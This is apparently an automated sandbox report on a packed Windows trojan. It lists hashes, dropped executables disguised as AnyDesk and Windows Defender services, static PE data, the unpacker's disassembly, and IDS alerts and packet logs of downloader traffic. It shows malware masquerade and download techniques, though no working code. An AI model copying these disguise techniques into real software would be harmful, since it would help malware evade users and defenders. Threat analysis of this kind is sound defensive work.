MD5:	95408095927F78DEFFAEB9CB1F4CD44D
SHA1:	5E98F7CC5B8BCE4DCEFDDC0313FE1CCC15FFE08C
SHA-256:	0C7B1DAFED4420AAB551544F4CA8813F1556E19442F75046B00BB0C952215456
SHA-512:	B415F4C6D87A3A609FB554E4EE0AF4F27AC8F954E85DAADA7D3034134A5A24B71401819D702F45E24AECE4183059149C56D0936AC25DD4C5A106DC3FD09D1A81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\...=...=...=...E...=...E...=...E...=......=......=......=...E...=...=..C=.......=...._..=...=7..=.......=..Rich.=..........PE..d...L..f.........."....).p.......P.......`.....@..........................................`.................................................h...\.......h....`..L,.................................................. ...@...........................................UPX0.....P..............................UPX1.....p...`...l..................@....rsrc................p..............@..............................................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt

Download File

Process:	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.9477027792200903
Encrypted:	false
SSDEEP:	3:WhXVXw6:WBVg6
MD5:	6C821BFDE63D9B4473563C6A3CB6E61B
SHA1:	3B0EC0C302AA7DEAE892825DE4CED93E4C5B7E55
SHA-256:	13DCA171E02A846B9203E79CBCEAF8F7F606ECB3BCDC814DDBE4665186087931
SHA-512:	CDEA2098CFFAD892642F77B59413844612759D1A65C2D6CF46F0F6C12E1CBCD31AC0D6D542F81671A8329306429D56999C8952F439BE4F8D4BC4741C78551AB6
Malicious:	false
Preview:	version=20240913..

C:\Windows\System32\oobe\AnyDeskCrashHandler.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	7.756024662478089
Encrypted:	false
SSDEEP:	1536:td3pwkJ+vSKrCdQN8ZAO/IYeBcWCgTumOC9N9b:TpwkAEQN8ZAOAYs2gTumOCJ
MD5:	8EB4565C6C7096C17AC94718B2A3724B
SHA1:	1BCEC351F712F041E4B23545E9A14C421EFFCFD3
SHA-256:	C700DC3BB675FB60DD69D26ED9628616C97B64AF7FAAEFF92F6C65E7F4F2B8FE
SHA-512:	5BA97CE8B19EFA125EFB40AAE9B1E1C9FB6A7E45B9261BD8327988C8C5474A5E27AACE3E0CA77A0767740CAEB7BF2060490DC77DEBA7EEE474F6F3A998B1F0A6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................?..........g.....g.....g....................f......f......F.....f.....Rich....................PE..d...y..f.........."....).........P...:...`.....@.............................P............`.................................................@E.......@..@.......\........... F.......................................<..@...........................................UPX0.....P..............................UPX1.........`......................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Windows\System32\oobe\AnyDeskUpdateService.exe

Download File

Process:	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	161792
Entropy (8bit):	7.874759486819471
Encrypted:	false
SSDEEP:	3072:s3pAiuZ03rXGkMTCyymEUoRBiaQaS/dqG9fvX7ZYl3QamlPx6AkyWx:obuZ6rXRW/HRag/dqs7ZCQ5Z6Ak/
MD5:	95408095927F78DEFFAEB9CB1F4CD44D
SHA1:	5E98F7CC5B8BCE4DCEFDDC0313FE1CCC15FFE08C
SHA-256:	0C7B1DAFED4420AAB551544F4CA8813F1556E19442F75046B00BB0C952215456
SHA-512:	B415F4C6D87A3A609FB554E4EE0AF4F27AC8F954E85DAADA7D3034134A5A24B71401819D702F45E24AECE4183059149C56D0936AC25DD4C5A106DC3FD09D1A81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\...=...=...=...E...=...E...=...E...=......=......=......=...E...=...=..C=.......=...._..=...=7..=.......=..Rich.=..........PE..d...L..f.........."....).p.......P.......`.....@..........................................`.................................................h...\.......h....`..L,.................................................. ...@...........................................UPX0.....P..............................UPX1.....p...`...l..................@....rsrc................p..............@..............................................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	143872
Entropy (8bit):	7.873862373980263
Encrypted:	false
SSDEEP:	3072:3fTw5T+B1/TPchSZzA5+fOZmaIJhWLQkD7V2EO0EnGfz9:3U5T+B1LkhSROZmRQLQkDRPEG
MD5:	9CEBC167FF7C8AE3CCFFB718FD7B52D0
SHA1:	8F5FA44298E5498D1CA696DC909093E26F4B5661
SHA-256:	EA5CD105B600E7606DE1CBCFE813A7845A3BE878B1E85DBC686871356FAAAC29
SHA-512:	CED1F79DD967CBBFEA8D08768EEBD8BD1B319B6EE5726BCF097AE375001DBF86C9A703CE7821468351CCC453C261598C6AC69EB9EB2420E72C3BDD33C3E57C5D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........7..od..od..od..le..od..je..od..ke..od..le..od..ke..od..je.od..ne..od..nd.od..fe..od...d..od...d..od..me..odRich..od........................PE..d...]..f.........."....).0...........!.........@.............................@............`................................................. 6..\....0.. ........&..........\|7.......................................$..@...........................................UPX0....................................UPX1.....0.......&..................@....rsrc........0.......*..............@..............................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Windows\System32\oobe\version.txt

Download File

Process:	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.9477027792200903
Encrypted:	false
SSDEEP:	3:WhXVXw6:WBVg6
MD5:	6C821BFDE63D9B4473563C6A3CB6E61B
SHA1:	3B0EC0C302AA7DEAE892825DE4CED93E4C5B7E55
SHA-256:	13DCA171E02A846B9203E79CBCEAF8F7F606ECB3BCDC814DDBE4665186087931
SHA-512:	CDEA2098CFFAD892642F77B59413844612759D1A65C2D6CF46F0F6C12E1CBCD31AC0D6D542F81671A8329306429D56999C8952F439BE4F8D4BC4741C78551AB6
Malicious:	false
Preview:	version=20240913..

\Device\ConDrv

Download File

Process:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.181786496009062
Encrypted:	false
SSDEEP:	3:FERMXjGISn:FERMXjGj
MD5:	4142CCE96C2B3EA0DDC84BCCCE8FAF6F
SHA1:	9D5D21B3007BCEBF8B7ACFC5134AE700F22BC9C4
SHA-256:	957DF422654DEF55082544422F1C2E927CD231F78E6F5E11CA7B0EB20DB2483C
SHA-512:	DF18B0321410A9C506EF87944E62086DA0E0EFED1EB5B41AAA471E628DB6917B725B2DF4288C1D6F29D4236FEA6F4B3ED515AF71433CA39E07B4AFDAA0691AA6
Malicious:	false
Preview:	CreateService failed (1073)..

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.874759486819471
TrID:	Win64 Executable Console (202006/5) 81.26% UPX compressed Win32 Executable (30571/9) 12.30% Win64 Executable (generic) (12005/4) 4.83% Generic Win/DOS Executable (2004/3) 0.81% DOS Executable Generic (2002/1) 0.81%
File name:	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
File size:	161'792 bytes
MD5:	95408095927f78deffaeb9cb1f4cd44d
SHA1:	5e98f7cc5b8bce4dcefddc0313fe1ccc15ffe08c
SHA256:	0c7b1dafed4420aab551544f4ca8813f1556e19442f75046b00bb0c952215456
SHA512:	b415f4c6d87a3a609fb554e4ee0af4f27ac8f954e85daada7d3034134a5a24b71401819d702f45e24aece4183059149c56d0936ac25dd4c5a106dc3fd09d1a81
SSDEEP:	3072:s3pAiuZ03rXGkMTCyymEUoRBiaQaS/dqG9fvX7ZYl3QamlPx6AkyWx:obuZ6rXRW/HRag/dqs7ZCQ5Z6Ak/
TLSH:	2CF3126CC2FC18BFFA96CE34913886947150B6FD2D3CB970981A0CB96972FB5A4C4246
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\...=...=...=...E...=...E...=...E...=.......=.......=.......=...E...=...=..C=.......=...._..=...=7..=.......=..Rich.=.........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14005c7b0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E3874C [Fri Sep 13 00:29:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	973629af63bcb766c16760645e060863

Entrypoint Preview

Instruction
push ebx
push esi
push edi
push ebp
dec eax
lea esi, dword ptr [FFFD9845h]
dec eax
lea edi, dword ptr [esi-00035000h]
push edi
xor ebx, ebx
xor ecx, ecx
dec eax
or ebp, FFFFFFFFh
call 00007FF0E8C52C45h
add ebx, ebx
je 00007FF0E8C52BF4h
rep ret
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
rep ret
dec eax
lea eax, dword ptr [edi+ebp]
cmp ecx, 05h
mov dl, byte ptr [eax]
jbe 00007FF0E8C52C13h
dec eax
cmp ebp, FFFFFFFCh
jnbe 00007FF0E8C52C0Dh
sub ecx, 04h
mov edx, dword ptr [eax]
dec eax
add eax, 04h
sub ecx, 04h
mov dword ptr [edi], edx
dec eax
lea edi, dword ptr [edi+04h]
jnc 00007FF0E8C52BE1h
add ecx, 04h
mov dl, byte ptr [eax]
je 00007FF0E8C52C02h
dec eax
inc eax
mov byte ptr [edi], dl
sub ecx, 01h
mov dl, byte ptr [eax]
dec eax
lea edi, dword ptr [edi+01h]
jne 00007FF0E8C52BE2h
rep ret
cld
inc ecx
pop ebx
jmp 00007FF0E8C52BFAh
dec eax
inc esi
mov byte ptr [edi], dl
dec eax
inc edi
mov dl, byte ptr [esi]
add ebx, ebx
jne 00007FF0E8C52BFCh
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
jc 00007FF0E8C52BD8h
lea eax, dword ptr [ecx+01h]
jmp 00007FF0E8C52BF9h
dec eax
inc ecx
call ebx
adc eax, eax
inc ecx
call ebx
adc eax, eax
add ebx, ebx
jne 00007FF0E8C52BFCh
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
jnc 00007FF0E8C52BD6h
sub eax, 03h
jc 00007FF0E8C52C0Bh
shl eax, 08h
movzx edx, dl
or eax, edx
dec eax
inc esi
xor eax, FFFFFFFFh
je 00007FF0E8C52C4Ah
sar eax, 1

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5d568	0x15c	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x568	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x56000	0x2c4c	UPX1
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5d6c4	0x1c	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5ca20	0x140	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x35000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x36000	0x27000	0x26c00	0888333fe4cd72bfbf9e088b129d7a25	False	0.9775138608870968	data	7.898224932558204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x1000	0x800	02fc1f9ef7e167d34be2dadcdacb1256	False	0.404296875	data	3.8464319187138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x5d0a4	0x340	data	English	United States	0.43028846153846156
RT_MANIFEST	0x5d3e8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
ADVAPI32.dll	ReportEventW
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
SHELL32.dll	ShellExecuteExW
WININET.dll	InternetOpenW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-29T02:26:01.082281+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49710	185.199.110.153	443	TCP
2024-09-29T02:26:01.175695+0200	2001046	ET MALWARE UPX compressed file download possible malware	3	185.199.110.153	443	192.168.2.6	49710	TCP
2024-09-29T02:26:01.872232+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49711	185.199.110.153	443	TCP
2024-09-29T02:26:01.965049+0200	2001046	ET MALWARE UPX compressed file download possible malware	3	185.199.110.153	443	192.168.2.6	49711	TCP
2024-09-29T02:26:02.740638+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49712	185.199.110.153	443	TCP
2024-09-29T02:26:02.839748+0200	2001046	ET MALWARE UPX compressed file download possible malware	3	185.199.110.153	443	192.168.2.6	49712	TCP
2024-09-29T02:26:09.596623+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49714	185.199.110.153	443	TCP
2024-09-29T02:26:10.202534+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49715	185.199.110.153	443	TCP
2024-09-29T02:26:10.297385+0200	2001046	ET MALWARE UPX compressed file download possible malware	3	185.199.110.153	443	192.168.2.6	49715	TCP
2024-09-29T02:26:11.082553+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49717	185.199.110.153	443	TCP
2024-09-29T02:26:11.170934+0200	2001046	ET MALWARE UPX compressed file download possible malware	3	185.199.110.153	443	192.168.2.6	49717	TCP
2024-09-29T02:26:17.685412+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49721	185.199.110.153	443	TCP
2024-09-29T02:26:24.719024+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49724	185.199.110.153	443	TCP
2024-09-29T02:26:31.217086+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49725	185.199.110.153	443	TCP
2024-09-29T02:26:37.673371+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49726	185.199.110.153	443	TCP
2024-09-29T02:26:44.000738+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49728	185.199.110.153	443	TCP
2024-09-29T02:26:50.547457+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49729	185.199.110.153	443	TCP
2024-09-29T02:26:56.517807+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49731	185.199.110.153	443	TCP
2024-09-29T02:27:02.499688+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49733	185.199.110.153	443	TCP
2024-09-29T02:27:08.462279+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49734	185.199.110.153	443	TCP
2024-09-29T02:27:14.453356+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49735	185.199.110.153	443	TCP
2024-09-29T02:27:20.468666+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49736	185.199.110.153	443	TCP
2024-09-29T02:27:26.655782+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49737	185.199.110.153	443	TCP
2024-09-29T02:27:32.889465+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49739	185.199.110.153	443	TCP
2024-09-29T02:27:39.281130+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49740	185.199.110.153	443	TCP
2024-09-29T02:27:45.756534+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49741	185.199.110.153	443	TCP
2024-09-29T02:27:52.185949+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49742	185.199.110.153	443	TCP
2024-09-29T02:27:58.464364+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49743	185.199.110.153	443	TCP
2024-09-29T02:28:04.777993+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49744	185.199.110.153	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 02:26:00.399130106 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:00.399188042 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:00.399281979 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:00.409811974 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:00.409837008 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:00.866276979 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:00.866374016 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:00.927198887 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:00.927243948 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:00.927614927 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:00.927675009 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:00.929698944 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:00.971412897 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.082303047 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.082370043 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.082396984 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.082411051 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.082427025 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.082437992 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.082462072 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.082492113 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.082509041 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.082551003 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.082559109 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.082603931 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.089378119 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.089438915 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.089459896 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.089481115 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.089493990 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.089530945 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.089535952 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.089576960 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.089673042 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.089716911 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.097243071 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.097328901 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.168490887 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.168562889 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.168593884 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.168626070 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.168626070 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.168656111 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.168672085 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.168699980 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.168704987 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.168746948 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.168752909 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.168797970 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.168802977 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.168844938 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.168849945 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.168895006 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.169555902 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.169610977 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.169612885 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.169624090 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.169661045 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.169666052 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.169709921 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.169715881 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.169764042 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.175471067 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.175530910 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.175537109 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.175584078 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.175589085 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.175632954 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.175638914 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.175679922 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.175712109 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.175764084 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.175767899 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.175802946 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.175807953 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.175812960 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.175853968 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.176631927 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.176682949 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.176685095 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.176693916 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.176729918 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.176752090 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.226140976 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.226212978 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.226222038 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.226345062 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.254301071 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.254379034 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.254390001 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.254406929 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.254452944 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.254452944 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.254760981 CEST	49710	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.254780054 CEST	443	49710	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.267433882 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.267473936 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.267543077 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.267735004 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.267749071 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.740362883 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.740436077 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.740927935 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.740943909 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.741101027 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.741105080 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872262001 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872385025 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.872431040 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872478008 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.872488976 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872528076 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.872529984 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872544050 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872565031 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.872594118 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.872600079 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872636080 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872637987 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.872648001 CEST	443	49711	185.199.110.153	192.168.2.6
Sep 29, 2024 02:26:01.872675896 CEST	49711	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:26:01.872697115 CEST	49711	443	192.168.2.6	185.199.110.153
